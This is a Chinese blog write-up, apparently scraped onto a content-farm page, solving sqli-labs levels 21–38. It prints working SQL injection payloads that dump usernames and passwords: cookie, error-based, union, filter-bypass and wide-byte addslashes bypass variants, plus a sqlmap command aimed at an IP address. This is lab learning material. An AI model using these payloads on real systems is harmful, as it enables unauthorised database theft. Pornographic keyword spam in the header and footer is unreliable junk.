日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sql-labs page2(21~38) 解题过程记录

發布時間:2024/9/30 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql-labs page2(21~38) 解题过程记录 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

less-21( 基于錯誤的復雜的字符型Cookie注入)

less -22(基于錯誤的雙引號字符型Cookie注入)

less-23(基于錯誤的,過濾注釋的GET型)

less-24(二次注入)

less-25?(過濾了or和and)

less-25a(過濾了or和and的盲注)

less-26(過濾了注釋和空格的注入)

less-26(過濾了空格和注釋的盲注)

less-27(過濾了union和select的)

less-27a(過濾union 和select 的雙引號型盲注)

less-28(基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入)

less-28a(基于盲注的,有括號的單引號字符型,過濾了union和select等的注入)

less-29(基于WAF的一個錯誤)

less-30(Get-Blind Havaing with WAF)

less-31(FUN with? WAF)

less-32(GET-Bypass custom filter adding slashes to dangerous chars(GET-Bypass自定義過濾器為危險的字符添加斜杠)

less-33(GET-Bypass AddSlashes() )

less -34(POST-Bypass AddSlasches() )

less-35(GET-Bypass Add Slashes(we don't need them)Integer based)

less-36(GET-Bypass MYSQL_real_escape_string)

less-37(POST- Bypass MYSQL_real_escape_string)

less-38(Future Editions) 終于是最后一題了卍卍卍卍


less-21( 基于錯誤的復雜的字符型Cookie注入)

輸入admin 和admin :發現cookie 中的uname 經過了加密,瞅一眼是base64?

?

那還和上題一樣,只不過需要把 cookie : 的注入信息先經過base64 的加密

還有一點需要注意: 就是cookie的閉合方式:單引號 和 括號的閉合方式


?

Cookie:select 1,2,group_concat(username,0x3a,password) from users #//密文Cookie: c2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyAjICAgICAgIA==

less -22(基于錯誤的雙引號字符型Cookie注入)

和less-21 差不多,不同的是$cookee1的閉合方式:這里需要用雙引號閉合

// 數據庫名admin" and?extractvalue(1,concat(0x7e,(database()))) #// 表名 admin" and?extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #// column_nameadmin" and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'users'))) #//脫庫admin" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password)from users))) #這里發現輸出不完 ,太長了,那換一種寫法,一行一行來輸出,通過 不斷改變 limit admin" and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1))) #密文:YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKWZyb20gdXNlcnMgbGltaXQgMSwxKSkpICM=

less-23(基于錯誤的,過濾注釋的GET型)

查看源碼:發現注釋符被替換為空

這里不能用 order by 來查詢有幾個字段

原因:

where與order by是子句,and是操作符,用于where子句。 在MySQL的執行順序中,where是遠在order by前面的。在第一個查詢語句中,id='1' and '1'='1'作為where的條件,先被執行,得到結果集;然后是order by,因結果集中無第四個字段所以報錯。在第二個查詢語句中,order by在where的條件中,在where執行時被忽略了,結果集生成后并未再執行order by

這里可以用union來查詢 字段:
?

//報錯 ?id=1' union select 1,2,3,4 or '1'='1 // 正常 ?id=1' union select 1,2,3 or '1'='1

爆庫payload

?id=' union select 1,2,database() '


爆表payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '


爆列名payload

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '


爆值payload

?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

這里ID = -1 不用多說了吧,使左邊查詢為空,騰出回顯位

當輸入:

?id=' union select 5,4,3 or '1'='1

時:

這個 1 是從哪里來的呢?? 其實是select 中有3塊,3_column 和后面的 or ‘1’ and ‘1’ 組成的條件恒為真 所以為 1

這說明了這里的回顯位為后兩個,2_column 和 3_column ,所以我們在注入的時候要保證 3_column 的條件恒為 假,才能輸出信息

less-24(二次注入)

我們先注冊一個新賬戶:? admin'#? ?和? ? ?123456 進入后的界面

然后我們修改密碼:

把密碼修改為 123123

此時我們修改的是? admin 的密碼 而不是 admin'#? 賬戶的密碼

可以試一試:

修改完成后就可以 用? admin 和 123123 登錄

用 admin'#? ?和 123456 還是可以登錄? ?用admin'#? 和 123123 不能登錄

?注入成功

或者我們 用 admin 加? 4個空格? ?注冊用戶名? ?也是可以的

或者運用信息截斷也可以? ?比如 數據中的uname 字段的類型為 varcher(10)(這里我們不知道長度是多少假設是10),那么我們可以注冊 “admin+5個空格+a“?

這時超出長度的字符串被截斷 在數據庫中只會存入? admin +5個空格

less-25?(過濾了or和and)

輸入 : ?id=1 提示說過濾了 and 和 or

輸入:?id=1' order by 3 #

的確是過濾掉了 and 和 or? 以及 #

那避開這三個字符:注入:

?id=-1' union select 1,2,database() --+

可以注入:

接下來就是 爆庫、爆表、爆字段、脫庫了

但是,在進行爆表、爆字段、和脫庫的時候? 由于 or 字符被過濾了 導致 information? ?中的 or被刪除了 ,這個時候我們就需要雙寫or 就可以了? ?Infoorrmation_schema.tables

那還不是還有第二種方法呢?

方法二? ?雙寫繞過

and? ?寫為? anandd

or? ?寫為? ?oorr

#? ?寫為? --+

這樣不就想怎么注入怎么注入了嘛!

less-25a(過濾了or和and的盲注)

輸入 ?id=2 進入后發現有兩個回顯位,并且提示過濾了 or 和 and

輸入 ?id =2'? ? 和?id=2"? ?都沒有報錯信息顯示,

這時候有四種情況 : 1 , 屏蔽了報錯信息,若是這種情況就不能用? 報錯注入了

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?2, 我們采用的閉合方式不對,語句還是正常閉合的,所以不會報錯

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?3,是數字型注入,根本就不用閉合,你加閉合字符也不會報錯

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?4,情況1 和 情況3 的結合,是數字型的注入并且屏蔽了報錯信息

輸入

?id=2 anandd 1=1 --+ //正常 ?id=2 anandd 1=2 --+ // 不正常 但沒有報錯信息

基本可以確定是 情況 4

那這個時候有兩種 注入方法:

一:? ?聯合注入? ? ??id=-2 union select 1,2,database() --+ (還是注意information 中的or雙寫)

?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users--+

二:? ?盲注(延時 和 布爾 都可以 , 腳本前面都有)

less-26(過濾了注釋和空格的注入)

瞅了一眼源碼:發現過濾了好多字符:or and /*--#/ 空白等

那找一些能替代 空格的其他字符不就行了

對于空格,有較多的方法:
%09 TAB 鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return 功能
%0b TAB 鍵(垂直)
%a0 空格

在windows系統下可能解析不了上面所說的空格的替換方法,所有大家請在linux系統下進行操作,意思是如果是在 windows下搭建的sql-labs ,以上的替換字符就不行,如果是在linux 下搭建的就可以操作

?

// 爆系統信息

?id=0%27%0B%20union%a0select%a01,version(),3%a0anandd%271%27=%271

//爆庫

?id=0%27%0B%20union%a0select%a01,database(),3%a0anandd%271%27=%271

// 脫庫

?id=0'%a0union%a0select%a01,group_concat(passwoorrd),group_concat(username)%a0from%a0users%a0where%a0'1%27='1

?

?

less-26(過濾了空格和注釋的盲注)

先試一下注入:發現不行,并且沒有報錯,不能用報錯注入了

?id=1%27%a0union%a0select%a01,2,3%a0oorr%a0%271%27=%271?id=1' union select 1,2,3 oorr '1'='1

考慮可能是閉合方式改變了,瞅了一眼源碼:果然是,加了一個括號

那就要重新考慮沒有注釋符的閉合語法了:
?

?id=1%27)%a0union%a0select%a01,2,3%a0oorr%a0%271%27=(%271?id=1') union select 1,2,3 oorr '1'=('1//后面的or語句是為了讓語句正確閉合,替代注釋符

脫庫:

?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1

less-27(過濾了union和select的)

首先試一下閉合方式:

單引號 會報錯? ok是單引號閉合

題目提示說過濾了 union 和 select ,我去看看源碼:

我去過濾了好多,但是你為什么不先把union ,select都轉化為小寫字母再進行過濾呢????而且沒有再過濾 or? 和 and???

這不就能用 大小寫 混寫的方式 進行查詢了嘛!!!

嘗試性注入:

爆庫:

?id=0%27%a0uNiOn%a0SElect%a01,database(),3%a0or%a0%271%27=%271//成功注入

脫庫:

?id=0'%0bUNion%0bSElect%0b1,group_concat(password,username),3%0bfrom%0busers%0bwhere%0b'1'='1//成功注入

less-27a(過濾union 和select 的雙引號型盲注)

先找閉合方式:

嘗試注入:

?id=1" //出錯,但不報錯?id=1%22and%a0%221%22=%221 //正常

確定是 雙引號 型 盲注


查看源代碼 ,發現過濾的字符跟上題一樣 只改變了閉合方式

這里就不再贅述

less-28(基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入)

本題提示說是過濾了 union 和 select??

先試一下閉合方式

單引號? 有錯誤但沒有報錯? ? ? ?首先排除報錯注入? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??

雙引號? 正常? ?排除雙引號

對 單引號? : 嘗試注入 :?id=1'and'1'='1? ?(沒有空格,因為我們不知道有沒有過濾空格)? ? ?正常

對 單引號 +括號? : ?id=1')and('1')=('1? ? 正常??

說明注入的閉合方式是? ? ?單引號 +括號

據說是過濾了全部的 union 和select? 那我們試一下到底過濾了沒有:

注入:

?id=0%27)%a0UNion%a0SELect%a01,database(),3%a0or%a0(%271%27)=(%271

發現竟然可以回顯正常,不知道為什么 ,程序出錯了???

那ok? 正常注入唄

還是看一眼源碼吧:

即使是真的過濾了 所有的union 和 select 那我們也可以用? ?雙寫繞過:

uniunionon? ? 和 seleselectt? ?

less-28a(基于盲注的,有括號的單引號字符型,過濾了union和select等的注入)

本題和 上題完全一樣 用less-28 的繞過方式

?

less-29(基于WAF的一個錯誤)

繞過waf,這啥也沒過濾啊?

直接 用聯合查詢就簡單繞過了

?

這里看了一眼別人的博客https://blog.csdn.net/nzjdsds/article/details/77758824

less-30(Get-Blind Havaing with WAF)

按部就班,先確定閉合方式,注入 ?id=1" --+ 正常? ? 確定為? 雙引號閉合

用聯合查詢試一下:?

?id=-1" union select 1,2,database() --+ ?id=-1" union select 1,group_concat(username),group_concat(password)from users --+

注入正常,???這是什么WAF?啥都沒有過濾

?

less-31(FUN with? WAF)

閉合方式為? ?雙引號 + 括號

本題 可以報錯? ?試了一下 報錯注入 發現也可以回顯

?id=1") and 1=extractvalue(1,concat(0x7e,(database())))--+

用正常的聯合查詢 也可以

看了一眼源碼好像也沒過濾什么東西 ,難道這幾題是來湊數的???不懂

注入結束

less-32(GET-Bypass custom filter adding slashes to dangerous chars)

(GET-Bypass自定義過濾器為危險的字符添加斜杠)

常規下試閉合方式:

輸入?id=1'? ? 發現單引號被自動添加了 轉譯符 \?

這里涉及到 寬字節 注入 的相關知識

寬字節注入:

原理大概來說就是,一個雙字節組成的字符,比如一個漢字‘我’的utf8編碼為%E6%88%91 當我們使用?id=-1%E6' 這樣的構造時,' 前面加的 \ 就會和%E6 合在一起,但是又不是一個正常漢字,但是起到了注掉 \ 的作用,庫

這里插入 別人的博客:

注入:

?id=-1%E6' union select 1,database(),3--+

回顯正常

但在包字段時 需要用到? 'users'? 含有單引號? ,這里我們肯定不能用 寬字節去吸收\ 了 那我們可以直接將 users 進行16進制編碼

users? ? =? 0x7573657273? ?這樣就用在用 ''了

?id=-1%E6%27%20union%20select%201,2,group_concat(column_name)from%20information_schema.columns%20where%20table_name%20=0x7573657273--+

搞到這里的時候我在想 我們可不可以直接將? 整個 注入語句進行 16 進制 編碼 呢?

嘗試一下,發現不行 那行吧?

?

less-33(GET-Bypass AddSlashes() )

?

和上題一樣 都是? 繞過? addslashes()

閉合方式也沒有改變? 直接用上一題的 payload 進行注入就行

?

less -34(POST-Bypass AddSlasches() )

post 類型 的 addslasches() 的繞過

這 表單中直接輸入 %df? 或者? %E6? 進行快字節注入時? ? 發現? 錯誤

看了別人的博客 說是? 在 url 輸入欄中的 %df? 和 %E6 會被 轉義? ?,但在表單中不會被轉義

那 就直接 將 %df? 和? %E6等? 換作??� (這個字符鍵盤中 沒有? ?直接粘貼即可)

看回顯位:說明有兩個回顯位

�' order by 3 # // 報錯 �' order by 3 # // 正常

?

//爆庫名�' union select database(),2 # // 脫庫�' union select group_concat(username),group_concat(password)from users #

?

less-35(GET-Bypass Add Slashes(we don't need them)Integer based)

輸入 :?id=1%df' --+

好像不用 加單引號 ,那就是 數字型注入了

試一下:

?id=1 and 1=1--+ 正常?id=1 and 1=2--+ 錯誤

說明是 數字型注入

//爆庫名?id=-1 union select 1,database(),2 # // 脫庫?id=-1 union select 1,group_concat(username),group_concat(password) from users#

less-36(GET-Bypass MYSQL_real_escape_string)

查了一下 這個函數?mysql_real_escape_string?()

php官方給的解釋是:

本函數將?unescaped_string?中的特殊字符轉義,并計及連接的當前字符集,因此可以安全用于?mysql_query()。

mysql_real_escape_string()?調用mysql庫的函數 mysql_real_escape_string,

在以下字符前添加反斜杠:?\x00,?\n,?\r,?\,?',?"?和?\x1a.

為了安全起見,在像MySQL傳送查詢前,必須調用這個函數(除了少數例外情況)。

?

但這題 依然可以用 寬字節 注入的方式進行 吃掉 \??

這里不再贅述!

less-37(POST- Bypass MYSQL_real_escape_string)

本題通過 POST 傳參

繞過 mysql_real_escape_string()函數

還是用寬字節繞過? 只不過 將 %df? 換為??

注意這里的回顯位是 兩個 其他的沒什么 正常注入即可

less-38(Future Editions) 終于是最后一題了卍卍卍卍

?

這題沒有報錯信息 ,直接用sqlmap 跑一下 就出來了

python2 sqlmap.py -u "http://43.247.91.228:84/Less-38/?id=1" --batch --level 3 --dbs

或者用盲注的 py 腳本 跑一下 也能跑出來? (布爾型的,和延時型的腳本都可以)

看別人的博客還用了? 堆疊注入 (我也不太了解,進一步學習后再 回來 補充吧)

聽說 less-38 ~ 45 都是 堆疊注入類型的題

?

做一個小總結吧:

? ? ? ?要 是只通過 看別人的博客 或者 看書學習 sql 注入的話 ,隔兩天就忘得差不多了, 還是通過做題比較好,印象深刻,

但是不能為了做題而做題,每做一題 ,都要把要題中涉及到的知識點 弄清楚,最好是能記住,畢竟我們的目的不是吧這些題做

完 ,而是 通過做題學習 sql注入的知識,可能剛開始我們啥也不會,遇到題也不知道從哪里下手,那就多找幾篇 大佬的博客看看

,看看別人是怎么做的,一定要多看幾個人的,因為每個人的思路都不盡相同,然后一定要自己動手操作一下,盡量多用集種方

法,學會多方式繞過,個人拙見!

?

這篇博客是我? ?看了至少 8篇博客 看過別人的做法后? 自己動手實踐? 通過后? ?做的做題記錄

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

總結

以上是生活随笔為你收集整理的sql-labs page2(21~38) 解题过程记录的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 成人深夜在线 | 国产精品久久久久久久9999 | 人妖干美女 | 国产精品无码久久久久高潮 | 欧美无玛| 国产熟妇搡bbbb搡bbbb | 激情在线网站 | 69亚洲精品 | 成人免费无遮挡无码黄漫视频 | 国产免费一区二区三区视频 | 野花成人免费视频 | 国产91视频在线 | 国产精品视频a | 国产91九色 | 麻豆国产一区二区三区四区 | 亚洲精品免费在线观看 | 玉米地疯狂的吸允她的奶视频 | 久久亚洲AV成人无码国产人妖 | 亚洲乱仑| 国产精品久久久一区 | 美女隐私免费观看 | 女人高潮娇喘1分47秒 | 欧美自拍视频在线观看 | 99久久精品免费看国产 | 极品在线视频 | 宅男视频在线免费观看 | 精品在线视频一区二区三区 | 国产精品嫩草影院av蜜臀 | 日日日日操| 国产精品手机在线 | aaaaaabbbbbb毛片| 欧美视频一二区 | 日本三级小视频 | 9l视频自拍九色9l视频 | 黑丝少妇喷水 | 中日一级片 | 一区二区三区四区不卡 | 一级性生活免费视频 | 久草99| a级免费视频 | 人成午夜 | 日韩国产一区 | 在线高清观看免费 | h片在线免费 | 肉嫁高柳家 高清 | 日韩一区二区三区久久 | asian性开放少妇pics | 波多野结衣av一区二区全免费观看 | 久一精品| 欧美另类在线观看 | 今天高清视频在线观看视频 | 一级特黄aa大片欧美 | 无码精品人妻一区二区三区影院 | 在线视频免费播放 | 高清视频免费在线观看 | 国产精品高清无码在线观看 | 日韩国产欧美一区二区三区 | 精品欧美在线 | 国产主播99 | 日本性网站 | 日本在线视频播放 | 亚洲看看 | 精品国产一区二区三区久久久 | 天天爽天天射 | 国产中文字幕一区二区三区 | 久久国产这里只有精品 | 精品欧美乱码久久久久久1区2区 | 国产不卡在线观看视频 | 天天操天天干天天干 | 亚洲第三色 | avxx| 亚洲区免费 | 小泽玛利亚一区二区三区视频 | 99插插 | 天天看av | 欧美精品在线观看视频 | 欧美国产成人在线 | 久久久久久蜜桃一区二区 | 成年人免费小视频 | 女生扒开尿口给男生捅 | 91免费黄色 | 男人捅爽女人 | 狼人av在线 | 亚洲精品久久久久avwww潮水 | 亚洲欧美日韩久久精品 | 亚洲美女黄色片 | 中文字幕亚洲图片 | 欧美激情一区二区三级高清视频 | 人人爽久久涩噜噜噜网站 | 97色综合| 欧美自拍亚洲 | 久久激情影院 | 日日夜夜av | 在线视频三区 | 三级福利片 | 久久久久久久穴 | 无码免费一区二区三区 | 久色福利 | 我想看一级黄色片 |